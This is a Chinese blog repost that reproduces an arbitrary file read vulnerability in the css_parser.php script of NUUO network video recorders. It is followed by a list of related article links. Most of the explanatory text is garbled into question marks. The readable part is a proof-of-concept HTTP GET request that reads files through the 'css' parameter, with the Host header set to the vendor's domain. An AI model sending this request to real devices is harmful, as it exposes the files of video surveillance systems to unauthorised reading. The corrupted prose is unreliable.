NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现-白红宇

NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现

阅读量：795 次

发布时间：2023-02-17

本文共 764 字，大约阅读时间需要 2 分钟。

0x01 NUUO???????????

NUUO????????Network Video Recorder???NVR??NUUO Inc.???????????????????????????????????????????????????????IP????????????????????????????????????NUUO NVR??????????????????????????

0x02 ????

???????????????????css_parser.php???????????????????????????????????????????????????????????????????????????????????

0x03 ??????

????????????????

????????URL??GET?????????

GET /css_parser.php?css=css_parser.php HTTP/1.1

??????????????????User-Agent??????

Host: www.nuuo.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:xx.xx.xx) Gecko/20100101 Firefox/xx.xx

0x04 ????

?????????PoC?Proof of Concept?????????????

GET /css_parser.php?css=css_parser.php HTTP/1.1  Host: www.nuuo.com

??????????css_parser.php???????????????????????????????????????

转载地址：http://hwnfk.baihongyu.com/

你可能感兴趣的文章

NutUI：京东风格的轻量级 Vue 组件库

查看>>

NutzCodeInsight 2.0.7 发布，为 nutz-sqltpl 提供友好的 ide 支持

查看>>

NutzWk 5.1.5 发布，Java 微服务分布式开发框架

查看>>

NUUO网络视频录像机 css_parser.php 任意文件读取漏洞复现

查看>>

NUUO网络视频录像机 upload.php 任意文件上传漏洞复现

查看>>

Nuxt Time 使用指南

查看>>

NuxtJS 接口转发详解：Nitro 的用法与注意事项

查看>>

NVDIMM原理与应用之四:基于pstore 和 ramoops保存Kernel panic日志

Nvidia Cudatoolkit 与 Conda Cudatoolkit

查看>>

NVIDIA GPU 的状态信息输出，由 `nvidia-smi` 命令生成

查看>>

nvidia 各种卡

查看>>

Nvidia 系列显卡大解析 B100、A40、A100、A800、H100、H800、V100 该如何选择，各自的配置详细与架构详细介绍，分别运用于哪些项目场景

查看>>

NVIDIA-cuda-cudnn下载地址